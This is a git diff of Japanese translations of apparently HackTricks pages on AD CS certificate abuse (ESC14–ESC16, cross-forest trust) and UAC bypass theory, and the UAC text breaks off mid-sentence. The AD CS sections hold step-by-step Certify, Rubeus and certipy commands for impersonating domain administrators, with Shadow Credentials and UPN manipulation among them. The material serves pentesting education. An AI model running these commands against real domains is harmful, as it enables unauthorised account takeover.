-「弱い」マッピングは、`altSecurityIdentities` 属性内で証明書を識別するために使用される文字列値が広すぎる、推測しやすい、ユニークでない証明書フィールドに依存している、あるいは簡単に偽造可能な証明書要素を使用している場合に発生します。攻撃者が特権アカウントのためにそのように弱く定義された explicit mapping に一致する属性を持つ証明書を入手または作成できる場合、その証明書を使ってそのアカウントとして認証し偽装することができます。 +「弱い」マッピングは、`altSecurityIdentities` 属性内で証明書を識別するために使用される文字列値が広すぎる、容易に推測可能である、一意でない証明書フィールドに依存している、または簡単に偽装可能な証明書コンポーネントを使用している場合に発生します。攻撃者が特権アカウントのそのような弱く定義された explicit mapping に一致する属性を持つ証明書を取得または作成できれば、その証明書を使ってそのアカウントとして認証・なりすましを行うことができます。 -潜在的に弱い `altSecurityIdentities` マッピング文字列の例には次のようなものがあります: +潜在的に弱い `altSecurityIdentities` マッピング文字列の例には以下が含まれます： -- 一般的な Subject Common Name (CN) のみでマッピングする: 例 `X509:CN=SomeUser`。攻撃者はこの CN を持つ証明書をより安全でないソースから入手できる可能性があります。 -- 特定のシリアル番号や subject key identifier のような追加の限定がない、過度に一般的な Issuer Distinguished Name (DN) や Subject DN を使用する: 例 `X509:CN=SomeInternalCACN=GenericUser`。 -- 攻撃者が合法的に入手または偽造（CA を侵害した、または ESC1 のような脆弱なテンプレートを見つけた場合）できる証明書で満たせるような、予測可能なパターンや非暗号学的識別子を使用する。 +- 共通 Subject Common Name (CN) のみでマッピングする：例 `X509:CN=SomeUser`。攻撃者はこの CN を持つ証明書をよりセキュアでないソースから入手できる可能性があります。 +- シリアル番号や subject key identifier のような追加の限定がない過度に一般的な Issuer Distinguished Name (DN) や Subject DN の使用：例 `X509:CN=SomeInternalCACN=GenericUser`。 +- 攻撃者が正当に入手または偽造できる（CA を侵害したり ESC1 のような脆弱なテンプレートを見つけた場合など）証明書で満たせる、予測可能なパターンや非暗号的識別子の使用。 -`altSecurityIdentities` 属性はマッピングのために様々な形式をサポートします。例: +`altSecurityIdentities` 属性はマッピングに対して様々な形式をサポートしています。例えば： -- `X509:IssuerDNSubjectDN` (完全な Issuer と Subject DN でマップ) -- `X509:SubjectKeyIdentifier` (証明書の Subject Key Identifier 拡張値でマップ) -- `X509:SerialNumberBackedByIssuerDN` (シリアル番号でマップ、暗黙的に Issuer DN で限定) - 通常の形式ではなく、通常は `IssuerDNSerialNumber` です。 -- `X509:EmailAddress` (SAN の RFC822 名、通常はメールアドレスでマップ) -- `X509:Thumbprint-of-Raw-PublicKey` (証明書の生の公開鍵の SHA1 ハッシュでマップ - 一般的に強力) +- `X509:IssuerDNSubjectDN` （Issuer および Subject の完全な DN によってマッピング） +- `X509:SubjectKeyIdentifier` （証明書の Subject Key Identifier 拡張値によってマッピング） +- `X509:SerialNumberBackedByIssuerDN` （シリアル番号でマッピング、暗黙的に Issuer DN によって限定される）- これは標準形式ではなく、通常は `IssuerDNSerialNumber` のようになります。 +- `X509:EmailAddress` （SAN の RFC822 名、通常はメールアドレスによってマッピング） +- `X509:Thumbprint-of-Raw-PublicKey` （証明書の生の公開鍵の SHA1 ハッシュでマッピング - 一般に強力） -これらのマッピングの安全性は、マッピング文字列で使用される証明書識別子の具体性、一意性、暗号学的強度に大きく依存します。Domain Controllers 上で強力な証明書バインディングモードが有効であっても（これは主に SAN の UPN/DNS と SID 拡張に基づく暗黙のマッピングに影響します）、`altSecurityIdentities` のエントリが不適切に構成されていると、マッピングロジック自体が脆弱または許容的すぎる場合に偽装の直接的な経路を提供する可能性があります。 +これらのマッピングのセキュリティは、マッピング文字列で選択される証明書識別子の特異性、一意性、および暗号学的強度に大きく依存します。Domain Controllers 上で強力な certificate binding モードが有効になっていても（これは主に SAN の UPN/DNS や SID 拡張に基づく暗黙的マッピングに影響します）、`altSecurityIdentities` エントリが不適切に構成されていると、マッピングロジック自体が欠陥または過度に許容的である場合に直接的ななりすましの経路を提供する可能性があります。 -### 悪用シナリオ +### Abuse Scenario -ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に `altSecurityIdentities` 属性を標的とします。この属性が設定されている（意図的または誤設定）場合、攻撃者はマッピングに一致する証明書を提示することでアカウントを偽装できます。 +ESC14 は Active Directory (AD) の explicit certificate mappings、特に `altSecurityIdentities` 属性を標的とします。この属性が設定されている（設計上または誤設定で）場合、攻撃者はマッピングに一致する証明書を提示することでアカウントになりすますことができます。 -#### シナリオ A: 攻撃者が `altSecurityIdentities` に書き込み可能 +#### Scenario A: Attacker Can Write to `altSecurityIdentities` -前提: 攻撃者は対象アカウントの `altSecurityIdentities` 属性に書き込み権を持っている、または対象 AD オブジェクトに対して次のいずれかの権限を持つことでそれを付与できる。 +**前提条件**：攻撃者がターゲットアカウントの `altSecurityIdentities` 属性に書き込み権限を持っている、またはターゲット AD オブジェクトに対して以下のいずれかの権限を持つことでそれを付与できること： - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -729,22 +726,23 @@ ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に ` - `GenericAll` - Owner*. -#### シナリオ B: 対象が X509RFC822 (メール) による弱いマッピングを持つ +#### Scenario B: Target Has Weak Mapping via X509RFC822 (Email) -- 前提: 対象が altSecurityIdentities に弱い X509RFC822 マッピングを持っている。攻撃者は被害者の mail 属性を対象の X509RFC822 名に一致させ、被害者として証明書を発行（enroll）し、その証明書を使って対象として認証できる。 +- **前提条件**：ターゲットが altSecurityIdentities に弱い X509RFC822 マッピングを持っている。攻撃者は被害者の mail 属性をターゲットの X509RFC822 名に一致させるよう設定し、被害者として証明書を登録(enroll)して、その証明書を使ってターゲットとして認証することができる。 -#### シナリオ C: 対象が X509IssuerSubject マッピングを持つ +#### Scenario C: Target Has X509IssuerSubject Mapping -- 前提: 対象が `altSecurityIdentities` に弱い X509IssuerSubject explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509IssuerSubject マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。 +- **前提条件**：ターゲットが `altSecurityIdentities` に弱い X509IssuerSubject 明示的マッピングを持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性をターゲットの X509IssuerSubject マッピングの subject に一致させるよう設定できる。次に、攻撃者は被害者として証明書を登録し、この証明書を使ってターゲットとして認証できる。 -#### シナリオ D: 対象が X509SubjectOnly マッピングを持つ +#### Scenario D: Target Has X509SubjectOnly Mapping -- 前提: 対象が `altSecurityIdentities` に弱い X509SubjectOnly explicit mapping を持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性を、対象の X509SubjectOnly マッピングの subject に一致するように設定できる。次に、攻撃者は被害者として証明書を発行し、この証明書を使って対象として認証できる。 +- **前提条件**：ターゲットが `altSecurityIdentities` に弱い X509SubjectOnly 明示的マッピングを持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性をターゲットの X509SubjectOnly マッピングの subject に一致させるよう設定できる。次に、攻撃者は被害者として証明書を登録し、この証明書を使ってターゲットとして認証できる。 + +### 具体的な操作 -### concrete operations #### Scenario A -証明書テンプレート `Machine` の証明書を要求する（Request a certificate of the certificate template `Machine`）。 +証明書テンプレート `Machine` の証明書を要求する ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -752,35 +750,35 @@ ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に ` ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -認証（証明書を使用） +認証する（証明書を使用して） ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -クリーンアップ（オプション） +クリーンアップ（任意） ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Application Policies(CVE-2024-49019) - ESC15 +## EKUwu アプリケーションポリシー(CVE-2024-49019) - ESC15 -### Explanation +### 説明 The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text. -組み込みのデフォルトの version 1 certificate templates を使用すると、攻撃者は CSR を作成して、テンプレートで指定された Extended Key Usage 属性よりも優先される application policies を含めることができます。唯一の要件は enrollment rights であり、**_WebServer_** テンプレートを使用して client authentication、certificate request agent、codesigning 証明書を生成するために利用できます。 +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Abuse +### 悪用 -以下は [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. を参照しています。 +The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), 詳細な使用方法はクリックしてご覧ください。 -Certipy の `find` コマンドは、CA が未パッチの場合に ESC15 の影響を受ける可能性のある V1 テンプレートを特定するのに役立ちます。 +Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### シナリオ A: Schannel を介した直接的ななりすまし +#### シナリオ A: Direct Impersonation via Schannel -**ステップ 1: "Client Authentication" Application Policy とターゲット UPN を注入して証明書を要求する。** 攻撃者 `attacker@corp.local` は `administrator@corp.local` を「WebServer」V1 テンプレートを使用してターゲットにする（このテンプレートは登録者が提供した subject を許可する）。 +**ステップ 1: 証明書を要求し、"Client Authentication" Application Policy とターゲット UPN を注入します。** 攻撃者 `attacker@corp.local` は `administrator@corp.local` を "WebServer" V1 テンプレート（enrollee-supplied subject を許可）を使用して標的にします。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -789,9 +787,9 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: "Enrollee supplies subject" を持つ脆弱な V1 テンプレート。 +- `-template 'WebServer'`: 脆弱な V1 テンプレートで、"Enrollee supplies subject" が有効になっています。 - `-application-policies 'Client Authentication'`: CSR の Application Policies 拡張に OID `1.3.6.1.5.5.7.3.2` を注入します。 -- `-upn 'administrator@corp.local'`: なりすましのために SAN に UPN を設定します。 +- `-upn 'administrator@corp.local'`: SAN に UPN を設定してなりすましを行います。 **ステップ 2: 取得した証明書を使用して Schannel (LDAPS) 経由で認証します。** ```bash @@ -799,7 +797,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### シナリオB: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**ステップ1: V1 テンプレート (with "Enrollee supplies subject") から証明書を要求し、"Certificate Request Agent" Application Policy を注入する。** この証明書は攻撃者（`attacker@corp.local`）が enrollment agent になるためのものである。目的は agent capability であるため、攻撃者自身の識別子には UPN は指定されていない。 +**Step 1: V1 template（"Enrollee supplies subject" を使って）から証明書を要求し、"Certificate Request Agent" Application Policy を注入します。** この証明書は攻撃者（`attacker@corp.local`）が enrollment agent になるためのものです。目的が agent としての機能であるため、攻撃者自身の UPN はここでは指定されていません。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -809,7 +807,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` を注入します。 -**ステップ2: 対象の特権ユーザーを代理して証明書を要求するために "agent" 証明書を使用します。** これは ESC3-like な手順で、ステップ1の証明書を agent 証明書として使用します。 +**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** これは ESC3 のようなステップで、ステップ1の証明書を "agent" 証明書として使用します。 ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -817,52 +815,51 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**ステップ 3: "on-behalf-of" 証明書を使用して特権ユーザーとして認証します。** +**ステップ3: "on-behalf-of" 証明書を使用して特権ユーザーとして認証する。** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## CAでのSecurity Extensionが無効（グローバル）-ESC16 ### 説明 -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** は、AD CS の設定がすべての証明書に **szOID_NTDS_CA_SECURITY_EXT** 拡張の付加を強制していない場合に発生するシナリオを指し、攻撃者は次のように悪用できます： +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** は、AD CS の設定がすべての証明書に **szOID_NTDS_CA_SECURITY_EXT** 拡張の挿入を強制しない場合に発生する状況を指し、攻撃者はこれを以下の方法で悪用できます： -1. SID binding を行わずに証明書を要求する。 +1. 証明書を**without SID binding**で要求する。 +2. この証明書を**for authentication as any account**として使用し、例えば高権限アカウント（例：Domain Administrator）を偽装する。 -2. この証明書を任意のアカウントとしての認証に使用する（例えば高権限アカウントを偽装する、例: Domain Administrator（ドメイン管理者））。 +詳細な原理については次の記事も参照してください：https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -詳細な原理については次の記事も参照してください: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +### 悪用 -### Abuse +以下は [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) を参照しています。詳細な使用方法はクリックしてご覧ください。 -以下は[this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) を参照しています。詳細な使用方法はリンクをクリックしてご確認ください。 - -Active Directory Certificate Services (AD CS) 環境が **ESC16** に対して脆弱かどうかを識別するために +Active Directory Certificate Services (AD CS) 環境が **ESC16** に対して脆弱かどうかを識別するには ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**ステップ 1: 被害者アカウントの初期 UPN を読み取る（オプション - 復元用）。** +**ステップ 1: 被害者アカウントの初期 UPN を読み取る (任意 - 復元用). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**ステップ 2: 被害者アカウントの UPN をターゲット管理者の `sAMAccountName` に更新します。** +**ステップ 2: 被害者アカウントの UPN をターゲット管理者の `sAMAccountName` に更新する。** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**ステップ 3: (必要な場合) 「victim」アカウントの資格情報を取得する (例: Shadow Credentials を利用)。** +**ステップ 3: (必要なら) "victim" account の credentials を取得する (例: Shadow Credentials を介して).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**ステップ4: ESC16 に脆弱な CA 上で、_任意の適切なクライアント認証テンプレート_（例: "User"）から "victim" ユーザーとして証明書を要求します。** CA が ESC16 に脆弱であるため、テンプレートのこの拡張に関する具体的な設定にかかわらず、発行される証明書から SID セキュリティ拡張を自動的に省略します。Kerberos credential cache 環境変数を設定します（シェルコマンド）： +**Step 4: Request a certificate as the "victim" user from _任意の適切なクライアント認証テンプレート_ (e.g., "User") on the ESC16-vulnerable CA.** CA が ESC16 に脆弱なため、テンプレートの該当拡張設定に関係なく、発行される証明書から自動的に SID セキュリティ拡張が省略されます。Kerberos のクレデンシャルキャッシュ環境変数を設定します（シェルコマンド）: ```bash export KRB5CCNAME=victim.ccache ``` @@ -886,18 +883,18 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## 証明書によるフォレストの乗っ取り（受動態で説明） +## 証明書によるフォレストの侵害（受動態での説明） -### 侵害された CA によるフォレストトラストの破壊 +### 侵害された CA によってフォレストの信頼が破壊される -**cross-forest enrollment** の設定は比較的簡単に行われる。管理者によって resource forest からの **root CA certificate** が **account forests に公開され**、resource forest の **enterprise CA** 証明書が各 account forest の `NTAuthCertificates` と AIA コンテナに **追加される**。つまり、この構成により resource forest の **CA** は PKI を管理する他のすべてのフォレストに対して完全な制御を与えられることになる。もしこの CA が攻撃者により侵害された場合、resource と account の各フォレストの全ユーザーの証明書が攻撃者により偽造されうるため、フォレストのセキュリティ境界は破られる。 +**cross-forest enrollment** の構成は比較的単純に設定される。リソースフォレストの **root CA certificate** は管理者によって **published to the account forests** され、リソースフォレストの **enterprise CA** 証明書は各アカウントフォレストの **`NTAuthCertificates` and AIA containers in each account forest** に **added** される。つまり、この構成により、リソースフォレストの **CA in the resource forest complete control** が他の PKI を管理するすべてのフォレストに対して与えられることになる。もしこの CA が **compromised by attackers** と、リソースフォレストおよびアカウントフォレスト両方のすべてのユーザーの証明書が **forged by them** され得るため、フォレストのセキュリティ境界が破壊されることになる。 -### 外部プリンシパルに付与される登録権限 +### 外部プリンシパルに付与されるエンロール権限 -マルチフォレスト環境では、Enterprise CAs が **certificate templates** を公開し、それが **Authenticated Users や foreign principals**（Enterprise CA が属するフォレスト外のユーザー/グループ）に対して **enrollment and edit rights** を許可している場合は注意が必要である。\ -トラスト越しに認証されると、AD によりユーザーのトークンに **Authenticated Users SID** が追加される。したがって、あるドメインが Enterprise CA を持ち、かつテンプレートが **Authenticated Users の enrollment 権限を許可している**場合、別フォレストのユーザーによってそのテンプレートが登録される可能性がある。同様に、テンプレートによって明示的に foreign principal に enrollment 権限が付与されている場合、**cross-forest access-control relationship** が作成され、あるフォレストのプリンシパルが別のフォレストのテンプレートに **enroll** できるようになる。 +マルチフォレスト環境では、Enterprise CAs が **publish certificate templates** して **Authenticated Users or foreign principals**（Enterprise CA が属するフォレストの外部にあるユーザー／グループ）に **enrollment and edit rights** を許可している場合に注意が必要とされる。\ +トラストを越えた認証が行われると、**Authenticated Users SID** が AD によってユーザーのトークンに追加される。したがって、あるドメインが **allows Authenticated Users enrollment rights** を有するテンプレートを持つ Enterprise CA を保有している場合、そのテンプレートは別のフォレストのユーザーによって **enrolled in by a user from a different forest** され得る。同様に、テンプレートによって **enrollment rights are explicitly granted to a foreign principal by a template** 場合、**cross-forest access-control relationship is thereby created** され、一方のフォレストのプリンシパルが別のフォレストのテンプレートに **enroll in a template from another forest** できるようにされる。 -いずれのシナリオもフォレスト間で **attack surface の拡大** を招く。攻撃者は certificate template の設定を悪用して、外部ドメインで追加の特権を取得することが可能になる。 +どちらのシナリオでも、フォレスト間での **increase in the attack surface** が引き起こされる。証明書テンプレートの設定は攻撃者によって悪用され、外部ドメインで追加の特権が取得される可能性がある。 ## References diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index e21e0e258..63e834fcb 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,57 +4,58 @@ ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格が必要な操作に対して同意プロンプトを表示する**機能です。アプリケーションは異なる `integrity` レベルを持ち、**high level** のプログラムは**システムを損なう可能性のある**操作を実行できます。UAC が有効な場合、管理者が明示的にアプリケーション／タスクに管理者レベルのアクセスを許可して実行させない限り、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストで実行されます**。これは管理者を意図しない変更から守るための利便性機能ですが、セキュリティ境界とは見なされません。 +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、昇格が必要な操作に対して **同意プロンプトを表示する** 機能です。アプリケーションは異なる `integrity` レベルを持ち、**高いレベル** のプログラムは **システムを危険にさらす可能性のある操作** を実行できます。UAC が有効な場合、アプリケーションやタスクは、管理者が明示的にそのアプリケーション/タスクに管理者レベルのアクセスを許可して実行する場合を除き、常に **非管理者アカウントのセキュリティコンテキストで実行されます**。これは管理者を意図しない変更から守る利便機能ですが、セキュリティ境界とは見なされません。 + +For more info about integrity levels: -integrity レベルの詳細については： {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -UAC が有効な場合、管理者ユーザーには 2 つのトークンが付与されます：通常の操作を行うための標準ユーザー用トークンと、管理者権限を持つトークンです。 +UAC が有効な場合、管理者ユーザーには 2 つのトークンが付与されます: 標準ユーザー用のトークン（通常の操作を行うため）と、管理者権限を持つトークンです。 -この [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ではログオンプロセス、ユーザー体験、UAC アーキテクチャを含め、UAC の動作について詳しく説明されています。管理者はセキュリティポリシーを使用してローカルレベルで UAC の動作を組織向けに構成できます（secpol.msc を使用）、または Active Directory ドメイン環境では Group Policy Objects (GPO) 経由で配布・適用できます。各設定の詳細は [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) に記載されています。UAC に設定できる Group Policy は 10 個あります。以下の表は追加の詳細を示します： +この [ページ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は UAC の動作（ログオンプロセス、ユーザー体験、UAC アーキテクチャ）を詳しく説明しています。管理者はセキュリティポリシーを使用して組織固有に UAC の動作をローカルレベル（secpol.msc を使用）で構成したり、Active Directory ドメイン環境では Group Policy Objects (GPO) を介して配布・適用することができます。各種設定の詳細は [こちら](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) を参照してください。UAC に設定できる Group Policy は 10 個あります。以下の表は追加の詳細を示します： -| Group Policy Setting | Registry Key | Default Setting | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | -| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | -| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | -| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | -| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled | -| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled | -| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | -| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | -| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | +| Group Policy 設定 | Registry Key | デフォルト設定 | +| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------------------------------------------------------------ | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を要求する | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効（Home のデフォルト） 無効（Enterprise のデフォルト） | +| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 無効 | +| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 有効 | +| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 有効 | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 有効 | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 | ### UAC Bypass Theory -一部のプログラムは、ユーザーが **administrator group** に属している場合に **自動的に autoelevated** されます。これらのバイナリは内部の _**Manifests**_ に _**autoElevate**_ オプションを _**True**_ として持っています。さらにそのバイナリは **Microsoft によって署名されている必要があります**。 +いくつかのプログラムは、**ユーザーが管理者グループに属している**場合に **自動的にオートエレベートされる（autoelevated）** ことがあります。これらのバイナリは内部の _**Manifests**_ に _**autoElevate**_ オプションが _**True**_ に設定されています。バイナリは **Microsoft によって署名されている** 必要もあります。 -多くの auto-elevate プロセスは **COM objects や RPC servers を通じて機能を公開**しており、これらは medium integrity（通常のユーザーレベル権限）で動作するプロセスから呼び出すことができます。COM (Component Object Model) や RPC (Remote Procedure Call) は、Windows プログラムが異なるプロセス間で通信・関数実行を行うための仕組みです。たとえば **`IFileOperation COM object`** はファイル操作（コピー、削除、移動）を扱うよう設計されており、プロンプトなしで自動的に権限を昇格できることがあります。 +多くの auto-elevate プロセスは **COM オブジェクトや RPC サーバー経由で機能を公開**しており、これらは中間整合性（通常のユーザーレベル）で実行されているプロセスから呼び出すことができます。ここで、COM (Component Object Model) や RPC (Remote Procedure Call) は、Windows プログラムが異なるプロセス間で通信や処理実行を行うための手段です。例えば、**`IFileOperation COM object`** はファイル操作（コピー、削除、移動）を扱うために設計されており、プロンプトなしで自動的に権限を昇格させることができます。 -プロセスが **System32 directory** から実行されたかをチェックするなど、いくつかのチェックが行われることがあります。これらは例えば **explorer.exe に注入する**などして回避できます（explorer.exe は System32 に配置されています）。 +プロセスが **System32 directory** 